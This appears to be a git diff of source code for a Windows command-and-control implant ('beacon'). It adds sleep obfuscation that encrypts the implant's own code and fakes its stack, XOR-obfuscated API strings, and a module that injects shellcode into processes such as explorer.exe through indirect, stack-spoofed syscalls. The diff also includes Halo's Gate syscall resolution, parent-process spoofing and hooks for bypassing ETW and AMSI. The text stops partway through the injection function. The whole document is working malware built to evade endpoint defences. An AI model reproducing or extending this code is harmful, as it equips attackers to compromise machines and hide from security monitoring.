+typedef BOOL (WINAPI *VProt_t) (LPVOID, SIZE_T, DWORD, PDWORD);
+typedef void (WINAPI *Sleep_t) (DWORD);
+typedef BOOL (WINAPI *SetEvent_t) (HANDLE);
+
+#define FAKE_STACK_SZ 0x10000 /* 64KB virtual stack for fake context */
+
+typedef struct {
+ LPVOID text_base;
+ SIZE_T text_size;
+ BYTE key[32];
+ DWORD sleep_ms;
+ HANDLE done;
+ NtContinue_t ntcontinue;
+ LARGE_INTEGER timeout; /* negative relative timeout */
+ LPVOID fake_stack_mem; /* VirtualAlloc'd fake stack */
+ PVOID orig_stack_base; /* TEB StackBase to restore */
+ PVOID orig_stack_limit; /* TEB StackLimit to restore */
+ VProt_t fn_vprot; /* direct kernel32 VA, not IAT thunk */
+ Sleep_t fn_sleep; /* direct kernel32 VA, not IAT thunk */
+ SetEvent_t fn_setevent; /* direct kernel32 VA, not IAT thunk */
+} obf_ctx_t;
+
+/* Read/write TEB fields via GS */
+__attribute__((section(".run")))
+static inline PVOID _teb_read_ptr(DWORD64 off) {
+ PVOID v;
+ __asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off));
+ return v;
+}
+__attribute__((section(".run")))
+static inline void _teb_write_ptr(DWORD64 off, PVOID val) {
+ __asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory");
+}
+
+/* Globals used from .noscan */
+static CONTEXT s_saved_ctx = {0};
+static obf_ctx_t *s_obf_ctx = NULL;
+static volatile LONG s_restore = 0;
+
+/* .noscan data */
+
+__attribute__((section(".run"), noinline))
+static DWORD WINAPI _timer_thread(LPVOID arg)
+{
+ obf_ctx_t *c = (obf_ctx_t *)arg;
+ /* use direct pointers, IAT thunks in .text are NOACCESS during sleep */
+ c->fn_sleep(c->sleep_ms);
+ c->fn_setevent(c->done);
+ return 0;
+}
+
+/* Wake up and restore state */
+__attribute__((section(".run"), noinline))
+static void _sleep_trampoline(void)
+{
+ obf_ctx_t *c = s_obf_ctx;
+ BYTE *p = (BYTE *)c->text_base;
+ SIZE_T n = c->text_size;
+ DWORD old;
+
+ /* use fn_vprot directly, not IAT thunk (which is in PAGE_NOACCESS .text) */
+ c->fn_vprot(p, n, PAGE_READWRITE, &old);
+ for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31];
+ /* try XR first; fall back to XRW for ACG-enforced systems */
+ if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old))
+ c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old);
+
+ /* restore TEB stack bounds */
+ _teb_write_ptr(0x08, c->orig_stack_base);
+ _teb_write_ptr(0x10, c->orig_stack_limit);
+
+ c->ntcontinue(&s_saved_ctx, FALSE);
+ __builtin_unreachable();
+}
+
+/* Encrypt text and switch to fake context */
+__attribute__((section(".run"), noinline))
+static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr)
+{
+ BYTE *p = (BYTE *)ctx->text_base;
+ SIZE_T n = ctx->text_size;
+ DWORD old;
+
+ for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
+ ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);
+
+ /* update TEB stack bounds for fake stack */
+ _teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ));
+ _teb_write_ptr(0x10, ctx->fake_stack_mem);
+
+ ctx->ntcontinue(fake_ctx_ptr, FALSE);
+ __builtin_unreachable();
+}
+
+static void _find_section(const char *name, LPVOID *base, SIZE_T *sz)
+{
+ *base = NULL; *sz = 0;
+ BYTE *img = (BYTE *)_peb_self_base();
+ if (!img) return;
+ IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img;
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;
+ IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew);
+ if (nt->Signature != IMAGE_NT_SIGNATURE) return;
+ IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
+ for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
+ int ok = 1;
+ for (int j = 0; j < 8; j++) {
+ char c = name[j];
+ if (sec->Name[j] != (unsigned char)c) { ok = 0; break; }
+ if (!c) break;
+ }
+ if (ok) { *base = img + sec->VirtualAddress; *sz = sec->Misc.VirtualSize; return; }
+ }
+}
+
+#define _XDEC(enc, dst) EVS_D((dst), (enc))
+
+void beacon_sleep_obf(DWORD ms)
+{
+#if JITTER_PCT == 0
+ /* Test mode: skip .text encrypt dance, just sleep */
+ Sleep(ms);
+ return;
+#endif
+ LPVOID text_base = NULL;
+ SIZE_T text_size = 0;
+ _find_section(".text", &text_base, &text_size);
+ if (!text_base || !text_size) { Sleep(ms); return; }
+
+ char s[24] = {0};
+
+ _XDEC(EVS_dll_ntdll, s);
+ HMODULE hntdll = _peb_module(s);
+ SecureZeroMemory(s, sizeof(s));
+ if (!hntdll) { Sleep(ms); return; }
+
+ _XDEC(EVS_fn_NtContinue, s);
+ NtContinue_t fn_cont = (NtContinue_t)(void *)GetProcAddress(hntdll, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ _XDEC(EVS_fn_NtWaitForSingleObject, s);
+ NtWait_t fn_wait = (NtWait_t)(void *)GetProcAddress(hntdll, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ _XDEC(EVS_fn_RtlCaptureContext, s);
+ RtlCapCtx_t fn_cap = (RtlCapCtx_t)(void *)GetProcAddress(hntdll, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ _XDEC(EVS_fn_RtlUserThreadStart, s);
+ PVOID fn_rts = (PVOID)GetProcAddress(hntdll, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ if (!fn_cont || !fn_wait || !fn_cap) { Sleep(ms); return; }
+
+ /* resolve kernel32 functions by direct VA, not IAT thunks */
+ _XDEC(EVS_dll_kernel32, s);
+ HMODULE hk32 = _peb_module(s);
+ SecureZeroMemory(s, sizeof(s));
+ if (!hk32) { Sleep(ms); return; }
+
+ _XDEC(EVS_fn_VirtualProtect, s);
+ VProt_t fn_vprot = (VProt_t) GetProcAddress(hk32, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ _XDEC(EVS_fn_Sleep, s);
+ Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ _XDEC(EVS_fn_SetEvent, s);
+ SetEvent_t fn_setevent = (SetEvent_t)GetProcAddress(hk32, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ if (!fn_vprot || !fn_sleep || !fn_setevent) { Sleep(ms); return; }
+
+ obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc(
+ GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t));
+ if (!ctx) { Sleep(ms); return; }
+
+ ctx->text_base = text_base;
+ ctx->text_size = text_size;
+ ctx->sleep_ms = ms;
+ ctx->ntcontinue = fn_cont;
+ ctx->fn_vprot = fn_vprot;
+ ctx->fn_sleep = fn_sleep;
+ ctx->fn_setevent = fn_setevent;
+ ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL);
+ if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; }
+
+ /* relative timeout in 100ns units, with 5s buffer */
+ ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL);
+
+ BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+
+ /* allocate fake stack so RSP stays within TEB [StackLimit, StackBase] */
+ ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+ if (!ctx->fake_stack_mem) {
+ CloseHandle(ctx->done);
+ HeapFree(GetProcessHeap(), 0, ctx);
+ InterlockedExchange(&s_restore, 0);
+ Sleep(ms);
+ return;
+ }
+ /* set trampoline as return address for NtWait */
+ PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16);
+ fake_top[0] = (PVOID)_sleep_trampoline; /* ret addr for NtWait */
+ fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL; /* fake upper frame */
+
+ /* save TEB stack limits for restoration on wakeup */
+ ctx->orig_stack_base = _teb_read_ptr(0x08);
+ ctx->orig_stack_limit = _teb_read_ptr(0x10);
+
+ s_obf_ctx = ctx;
+ InterlockedExchange(&s_restore, 0);
+
+ /* save current context (RIP = instruction after this call) */
+ fn_cap(&s_saved_ctx);
+
+ /* two-pass: first call sleeps, second call (restored by trampoline) cleans up */
+ if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) {
+ SecureZeroMemory(ctx->key, sizeof(ctx->key));
+ CloseHandle(ctx->done);
+ VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
+ HeapFree(GetProcessHeap(), 0, ctx);
+ return;
+ }
+ InterlockedExchange(&s_restore, 1);
+
+ /* build fake context: RSP=fake_stack, RIP=NtWait */
+ CONTEXT fake_ctx;
+ memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT));
+ fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
+ fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
+ fake_ctx.Rcx = (DWORD64)ctx->done; /* arg1: handle */
+ fake_ctx.Rdx = FALSE; /* arg2: alertable */
+ fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout; /* arg3: timeout */
+
+ /* create timer thread before encrypting .text (DLL_THREAD_ATTACH needs .text) */
+ HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL);
+ if (!ht) {
+ SecureZeroMemory(ctx->key, sizeof(ctx->key));
+ CloseHandle(ctx->done);
+ VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
+ HeapFree(GetProcessHeap(), 0, ctx);
+ InterlockedExchange(&s_restore, 0);
+ Sleep(ms);
+ return;
+ }
+ /* arm ETW/AMSI breakpoints on timer thread before it runs */
+ evasion_apply_thread(ht);
+ CloseHandle(ht);
+
+ /* verify page permission round-trip before committing to obfuscated sleep */
+ BYTE *p = (BYTE *)text_base;
+ DWORD old, dummy;
+
+ /* verify RW/XR round-trip; fall back to plain sleep if ACG blocks it */
+ if (!_nt_prot(p, text_size, PAGE_READWRITE, &old)) {
+ goto _fallback;
+ }
+ if (!_nt_prot(p, text_size, old, &dummy)) {
+ _nt_prot(p, text_size, old, &dummy);
+ goto _fallback;
+ }
+ /* re-apply RW for _obf_sleep_tail */
+ _nt_prot(p, text_size, PAGE_READWRITE, &old);
+
+ /* jump to .noscan tail, never returns */
+ _obf_sleep_tail(ctx, &fake_ctx);
+ __builtin_unreachable();
+
+_fallback:
+ SecureZeroMemory(ctx->key, sizeof(ctx->key));
+ CloseHandle(ctx->done);
+ VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
+ HeapFree(GetProcessHeap(), 0, ctx);
+ InterlockedExchange(&s_restore, 0);
+ Sleep(ms);
+}
diff --git a/agent/src/evs.c b/agent/src/evs.c
new file mode 100644
index 0000000..a17f2f4
--- /dev/null
+++ b/agent/src/evs.c
@@ -0,0 +1,12 @@
+#include "evs_strings.h"
+#include
+
+/* Single XOR-decode function. noinline = one code pattern in .text, not 100+ loops. */
+__attribute__((noinline))
+void _evs_dec(char *out, const unsigned char *enc, size_t n)
+{
+ unsigned char k = EVS_KEY;
+ for (size_t i = 0; i < n; i++)
+ out[i] = (char)(enc[i] ^ k);
+ out[n] = '\0';
+}
diff --git a/agent/src/inject/inject.c b/agent/src/inject/inject.c
new file mode 100644
index 0000000..937d23b
--- /dev/null
+++ b/agent/src/inject/inject.c
@@ -0,0 +1,1046 @@
+#include "inject.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+
+typedef LONG NTSTATUS;
+
+static DWORD _rt(HANDLE h)
+{
+ static DWORD(WINAPI * fn)(HANDLE) = NULL;
+ if (!fn)
+ {
+ char fs[16], ks[16];
+ EVS_D(fs, EVS_fn_ResumeThread);
+ EVS_D(ks, EVS_dll_kernel32);
+ HMODULE m = _peb_module(ks);
+ SecureZeroMemory(ks, sizeof(ks));
+ if (m)
+ fn = (DWORD(WINAPI *)(HANDLE))GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(h) : (DWORD)-1;
+}
+
+/* ---- Spoof-call globals (accessed by name from spoof_stub.S) ---- */
+void *inj_sc_gadget = NULL; /* syscall;ret in ntdll .text */
+void *inj_frame1 = NULL; /* kernelbase `ret` gadget */
+void *inj_frame2 = NULL; /* ntdll `ret` gadget */
+
+/* Defined in spoof_stub.S — call-stack-spoofed indirect syscall dispatcher.
+ * SSN + up to 11 args; unused trailing args must be 0.
+ * All frames in .text (MEM_IMAGE) — no VirtualAlloc stub. */
+extern NTSTATUS inj_sc(WORD ssn,
+ uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4,
+ uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8,
+ uintptr_t a9, uintptr_t a10, uintptr_t a11);
+
+/* Nt* struct definitions (no winternl.h to avoid SDK conflicts) */
+typedef struct
+{
+ ULONG Length;
+ HANDLE RootDirectory;
+ PVOID ObjectName;
+ ULONG Attributes;
+ PVOID SecurityDescriptor;
+ PVOID SecurityQualityOfService;
+} INJ_OA;
+
+typedef struct
+{
+ HANDLE UniqueProcess;
+ HANDLE UniqueThread;
+} INJ_CID;
+
+/* void* for struct pointer args — ABI-safe on x64 */
+typedef NTSTATUS(NTAPI *NtOpenProcess_t)(
+ PHANDLE hProcess,
+ ACCESS_MASK access,
+ void *oa,
+ void *cid);
+
+typedef NTSTATUS(NTAPI *NtAllocVm_t)(
+ HANDLE hProcess,
+ PVOID *base,
+ ULONG_PTR zeroBits,
+ PSIZE_T regionSize,
+ ULONG allocType,
+ ULONG protect);
+
+typedef NTSTATUS(NTAPI *NtWriteVm_t)(
+ HANDLE hProcess,
+ PVOID base,
+ PVOID buf,
+ SIZE_T len,
+ PSIZE_T written);
+
+typedef NTSTATUS(NTAPI *NtProtectVm_t)(
+ HANDLE hProcess,
+ PVOID *base,
+ PSIZE_T regionSize,
+ ULONG newProtect,
+ PULONG oldProtect);
+
+typedef NTSTATUS(NTAPI *NtCreateThreadEx_t)(
+ PHANDLE hThread,
+ ACCESS_MASK access,
+ void *oa,
+ HANDLE hProcess,
+ PVOID startRoutine,
+ PVOID arg,
+ ULONG flags,
+ SIZE_T zeroBits,
+ SIZE_T stackSize,
+ SIZE_T maxStack,
+ PVOID attrList);
+
+typedef NTSTATUS(NTAPI *NtClose_t)(HANDLE h);
+
+typedef NTSTATUS(NTAPI *NtQueueApcThread_t)(
+ HANDLE hThread,
+ PVOID ApcRoutine,
+ PVOID ApcRoutineContext,
+ PVOID ApcStatusBlock,
+ PVOID ApcReserved);
+
+/* module-stomp syscall types */
+
+typedef NTSTATUS(NTAPI *NtCreateSection_t)(
+ PHANDLE SectionHandle,
+ ACCESS_MASK DesiredAccess,
+ void *ObjectAttributes,
+ PLARGE_INTEGER MaximumSize,
+ ULONG SectionPageProtect,
+ ULONG AllocationAttributes,
+ HANDLE FileHandle);
+
+typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(
+ HANDLE SectionHandle,
+ HANDLE ProcessHandle,
+ PVOID *BaseAddress,
+ ULONG_PTR ZeroBits,
+ SIZE_T CommitSize,
+ PLARGE_INTEGER SectionOffset,
+ PSIZE_T ViewSize,
+ DWORD InheritDisposition,
+ ULONG AllocationType,
+ ULONG Win32Protect);
+
+typedef NTSTATUS(NTAPI *NtUnmapViewOfSection_t)(
+ HANDLE ProcessHandle,
+ PVOID BaseAddress);
+
+/* thread-hijack syscall types */
+
+typedef NTSTATUS(NTAPI *NtOpenThread_t)(
+ PHANDLE hThread,
+ ACCESS_MASK access,
+ void *oa,
+ void *cid);
+
+typedef NTSTATUS(NTAPI *NtSuspendThread_t)(
+ HANDLE hThread,
+ PULONG PrevSuspendCount);
+
+typedef NTSTATUS(NTAPI *NtResumeThread_t)(
+ HANDLE hThread,
+ PULONG PrevSuspendCount);
+
+typedef NTSTATUS(NTAPI *NtGetCtx_t)(
+ HANDLE hThread,
+ PCONTEXT ctx);
+
+typedef NTSTATUS(NTAPI *NtSetCtx_t)(
+ HANDLE hThread,
+ PCONTEXT ctx);
+
+/* ---- ntdll handle (XOR-decoded, resolved once) ---- */
+
+static HMODULE _ntdll(void)
+{
+ static HMODULE s_h = NULL;
+ if (s_h)
+ return s_h;
+ char s[10] = {0};
+ EVS_D(s, EVS_dll_ntdll);
+ s_h = _peb_module(s);
+ SecureZeroMemory(s, sizeof(s));
+ return s_h;
+}
+
+/* ---- Indirect syscall gadget (syscall;ret inside ntdll .text) ---- */
+
+static void *_syscall_gadget(void)
+{
+ static void *s_g = NULL;
+ if (s_g)
+ return s_g;
+
+ HMODULE h = _ntdll();
+ if (!h)
+ return NULL;
+
+ IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
+ IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
+ IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
+
+ for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
+ {
+ if (memcmp(sec->Name, ".text", 5) != 0)
+ continue;
+ BYTE *base = (BYTE *)h + sec->VirtualAddress;
+ SIZE_T sz = sec->Misc.VirtualSize;
+ for (SIZE_T j = 0; j + 2 < sz; j++)
+ {
+ /* syscall;ret opcode sequence */
+ if (base[j] == 0x0F && base[j + 1] == 0x05 && base[j + 2] == 0xC3)
+ {
+ s_g = base + j;
+ return s_g;
+ }
+ }
+ }
+ return NULL;
+}
+
+/* resolve syscall number (SSN) from ntdll EAT, with Halo's Gate fallback */
+static WORD _ssn(const char *name)
+{
+ HMODULE ntdll = _ntdll();
+ if (!ntdll)
+ return 0xFFFF;
+
+ BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, name);
+ if (!fn)
+ return 0xFFFF;
+
+ if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8)
+ return *(WORD *)(fn + 4);
+
+ /* hooked: scan EAT for unhooked neighbor and adjust SSN by delta */
+ IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)ntdll;
+ IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)ntdll + dos->e_lfanew);
+ IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)((BYTE *)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
+
+ DWORD *names = (DWORD *)((BYTE *)ntdll + exp->AddressOfNames);
+ DWORD *funcs = (DWORD *)((BYTE *)ntdll + exp->AddressOfFunctions);
+ WORD *ords = (WORD *)((BYTE *)ntdll + exp->AddressOfNameOrdinals);
+
+ int idx = -1;
+ for (DWORD i = 0; i < exp->NumberOfNames; i++)
+ {
+ if (strcmp((char *)((BYTE *)ntdll + names[i]), name) == 0)
+ {
+ idx = (int)i;
+ break;
+ }
+ }
+ if (idx < 0)
+ return 0xFFFF;
+
+ for (int d = 1; d <= 32; d++)
+ {
+ for (int s = -1; s <= 1; s += 2)
+ {
+ int ni = idx + s * d;
+ if (ni < 0 || ni >= (int)exp->NumberOfNames)
+ continue;
+ BYTE *nb = (BYTE *)ntdll + funcs[ords[ni]];
+ if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8)
+ return (WORD)(*(WORD *)(nb + 4) - (WORD)(s * d));
+ }
+ }
+ return 0xFFFF;
+}
+
+/* Find first `ret` (0xC3) in module .text at or past min_off bytes into section */
+static void *_find_ret_gadget(HMODULE h, SIZE_T min_off)
+{
+ IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
+ IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
+ IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
+ for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
+ {
+ if (memcmp(sec->Name, ".text", 5) != 0)
+ continue;
+ BYTE *base = (BYTE *)h + sec->VirtualAddress;
+ SIZE_T sz = sec->Misc.VirtualSize;
+ for (SIZE_T j = min_off; j < sz; j++)
+ if (base[j] == 0xC3)
+ return base + j;
+ }
+ return NULL;
+}
+
+static BOOL _init_spoof_frames(void)
+{
+ inj_sc_gadget = _syscall_gadget();
+ if (!inj_sc_gadget)
+ return FALSE;
+
+ char kbn[16] = {0};
+ EVS_D(kbn, EVS_dll_kernelbase);
+ HMODULE hkb = _peb_module(kbn);
+ SecureZeroMemory(kbn, sizeof(kbn));
+
+ if (hkb)
+ inj_frame1 = _find_ret_gadget(hkb, 0x2000);
+ inj_frame2 = _find_ret_gadget(_ntdll(), 0x3000);
+ return inj_frame1 && inj_frame2;
+}
+
+/* ---- Resolved syscall numbers — SSN_ prefix avoids SC_* Windows macro conflicts ---- */
+enum
+{
+ SSN_OPEN = 0,
+ SSN_ALLOC,
+ SSN_WRITE,
+ SSN_PROT,
+ SSN_THREAD,
+ SSN_CLOSE,
+ SSN_OPENTHRD,
+ SSN_SUSPEND,
+ SSN_RESUME,
+ SSN_GETCTX,
+ SSN_SETCTX,
+ SSN_APC,
+ SSN_CRTSEC,
+ SSN_MAPSEC,
+ SSN_UNMAPSEC,
+ SSN_COUNT
+};
+static WORD s_ssn[SSN_COUNT];
+static BOOL s_ready = FALSE;
+static BOOL s_hj_ready = FALSE;
+static BOOL s_eb_ready = FALSE;
+static BOOL s_stomp_ready = FALSE;
+
+static BOOL _init(void)
+{
+ if (s_ready)
+ return TRUE;
+ if (!inj_sc_gadget && !_init_spoof_frames())
+ return FALSE;
+
+ struct
+ {
+ const unsigned char *e;
+ size_t n;
+ int idx;
+ } t[] = {
+ {EVS_fn_NtOpenProcess, sizeof(EVS_fn_NtOpenProcess), SSN_OPEN},
+ {EVS_fn_NtAllocateVirtualMemory, sizeof(EVS_fn_NtAllocateVirtualMemory), SSN_ALLOC},
+ {EVS_fn_NtWriteVirtualMemory, sizeof(EVS_fn_NtWriteVirtualMemory), SSN_WRITE},
+ {EVS_fn_NtProtectVirtualMemory, sizeof(EVS_fn_NtProtectVirtualMemory), SSN_PROT},
+ {EVS_fn_NtCreateThreadEx, sizeof(EVS_fn_NtCreateThreadEx), SSN_THREAD},
+ {EVS_fn_NtClose, sizeof(EVS_fn_NtClose), SSN_CLOSE},
+ };
+
+ char _n[32];
+ for (int i = 0; i < 6; i++)
+ {
+ _evs_dec(_n, t[i].e, t[i].n);
+ s_ssn[t[i].idx] = _ssn(_n);
+ SecureZeroMemory(_n, t[i].n + 1);
+ if (s_ssn[t[i].idx] == 0xFFFF)
+ return FALSE;
+ }
+ s_ready = TRUE;
+ return TRUE;
+}
+
+static BOOL _init_hijack(void)
+{
+ if (s_hj_ready)
+ return TRUE;
+ if (!inj_sc_gadget && !_init_spoof_frames())
+ return FALSE;
+
+ struct
+ {
+ const unsigned char *e;
+ size_t n;
+ int idx;
+ } t[] = {
+ {EVS_fn_NtOpenThread, sizeof(EVS_fn_NtOpenThread), SSN_OPENTHRD},
+ {EVS_fn_NtSuspendThread, sizeof(EVS_fn_NtSuspendThread), SSN_SUSPEND},
+ {EVS_fn_NtResumeThread, sizeof(EVS_fn_NtResumeThread), SSN_RESUME},
+ {EVS_fn_NtGetContextThread, sizeof(EVS_fn_NtGetContextThread), SSN_GETCTX},
+ {EVS_fn_NtSetContextThread, sizeof(EVS_fn_NtSetContextThread), SSN_SETCTX},
+ };
+
+ char _n[24];
+ for (int i = 0; i < 5; i++)
+ {
+ _evs_dec(_n, t[i].e, t[i].n);
+ s_ssn[t[i].idx] = _ssn(_n);
+ SecureZeroMemory(_n, t[i].n + 1);
+ if (s_ssn[t[i].idx] == 0xFFFF)
+ return FALSE;
+ }
+ s_hj_ready = TRUE;
+ return TRUE;
+}
+
+static BOOL _init_earlybird(void)
+{
+ if (s_eb_ready)
+ return TRUE;
+ if (!inj_sc_gadget && !_init_spoof_frames())
+ return FALSE;
+ char _n[18];
+ EVS_D(_n, EVS_fn_NtQueueApcThread);
+ s_ssn[SSN_APC] = _ssn(_n);
+ SecureZeroMemory(_n, sizeof(_n));
+ if (s_ssn[SSN_APC] == 0xFFFF)
+ return FALSE;
+ s_eb_ready = TRUE;
+ return TRUE;
+}
+
+static BOOL _init_stomp(void)
+{
+ if (s_stomp_ready)
+ return TRUE;
+ if (!_init())
+ return FALSE;
+
+
+ struct
+ {
+ const unsigned char *e;
+ size_t n;
+ int idx;
+ } t[] = {
+ {EVS_fn_NtCreateSection, sizeof(EVS_fn_NtCreateSection), SSN_CRTSEC},
+ {EVS_fn_NtMapViewOfSection, sizeof(EVS_fn_NtMapViewOfSection), SSN_MAPSEC},
+ {EVS_fn_NtUnmapViewOfSection, sizeof(EVS_fn_NtUnmapViewOfSection), SSN_UNMAPSEC},
+ };
+
+ char _n[24];
+ for (int i = 0; i < 3; i++)
+ {
+ _evs_dec(_n, t[i].e, t[i].n);
+ s_ssn[t[i].idx] = _ssn(_n);
+ SecureZeroMemory(_n, t[i].n + 1);
+ if (s_ssn[t[i].idx] == 0xFFFF)
+ return FALSE;
+ }
+ s_stomp_ready = TRUE;
+ return TRUE;
+}
+
+/* open a process handle via indirect NtOpenProcess — no Win32 OpenProcess in IAT */
+HANDLE inject_nt_open_process(DWORD pid, DWORD access)
+{
+ if (!_init())
+ return NULL;
+
+ HANDLE hproc = NULL;
+ INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
+ INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
+ NTSTATUS st = inj_sc(s_ssn[SSN_OPEN],
+ (uintptr_t)&hproc, (uintptr_t)access, (uintptr_t)&oa, (uintptr_t)&cid,
+ 0, 0, 0, 0, 0, 0, 0);
+ return st ? NULL : hproc;
+}
+
+/* find explorer.exe PID for PPID spoof */
+static DWORD _find_explorer(void)
+{
+ char _en[13];
+ EVS_D(_en, EVS_str_explorer_exe);
+
+ DWORD pid = 0;
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE)
+ {
+ SecureZeroMemory(_en, sizeof(_en));
+ return 0;
+ }
+ PROCESSENTRY32 pe;
+ pe.dwSize = sizeof(pe);
+ if (Process32First(snap, &pe))
+ do
+ {
+ if (_stricmp(pe.szExeFile, _en) == 0)
+ {
+ pid = pe.th32ProcessID;
+ break;
+ }
+ } while (Process32Next(snap, &pe));
+ CloseHandle(snap);
+ SecureZeroMemory(_en, sizeof(_en));
+ return pid;
+}
+
+/* find a suitable injection target process */
+
+DWORD inject_find_target(void)
+{
+ char n0[20], n1[14], n2[14];
+ EVS_D(n0, EVS_str_RuntimeBroker_exe);
+ EVS_D(n1, EVS_str_dllhost_exe);
+ EVS_D(n2, EVS_str_explorer_exe);
+
+ const char *prefs[4] = {n0, n1, n2, NULL};
+ DWORD results[3] = {0};
+
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE)
+ goto cleanup;
+
+ PROCESSENTRY32 pe;
+ pe.dwSize = sizeof(pe);
+ if (Process32First(snap, &pe))
+ {
+ do
+ {
+ for (int i = 0; prefs[i]; i++)
+ if (!results[i] && _stricmp(pe.szExeFile, prefs[i]) == 0)
+ results[i] = pe.th32ProcessID;
+ } while (Process32Next(snap, &pe));
+ }
+ CloseHandle(snap);
+
+cleanup:
+ SecureZeroMemory(n0, sizeof(n0));
+ SecureZeroMemory(n1, sizeof(n1));
+ SecureZeroMemory(n2, sizeof(n2));
+ for (int i = 0; i < 3; i++)
+ if (results[i])
+ return results[i];
+ return 0;
+}
+
+/* inject shellcode into remote process via indirect Nt* syscalls */
+int inject_remote(DWORD pid, const BYTE *sc, SIZE_T sc_len)
+{
+ if (!sc || !sc_len || !_init())
+ return -1;
+
+ HANDLE hproc = NULL;
+ PVOID base = NULL;
+ SIZE_T sz = sc_len;
+
+ INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
+ INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
+
+ NTSTATUS st = inj_sc(s_ssn[SSN_OPEN],
+ (uintptr_t)&hproc, PROCESS_ALL_ACCESS, (uintptr_t)&oa, (uintptr_t)&cid,
+ 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ return -2;
+
+ /* alloc RW, never RWX */
+ st = inj_sc(s_ssn[SSN_ALLOC],
+ (uintptr_t)hproc, (uintptr_t)&base, 0, (uintptr_t)&sz,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -3;
+ }
+
+ SIZE_T nwritten = 0;
+ st = inj_sc(s_ssn[SSN_WRITE],
+ (uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
+ (uintptr_t)&nwritten, 0, 0, 0, 0, 0, 0);
+ if (st || nwritten != sc_len)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -4;
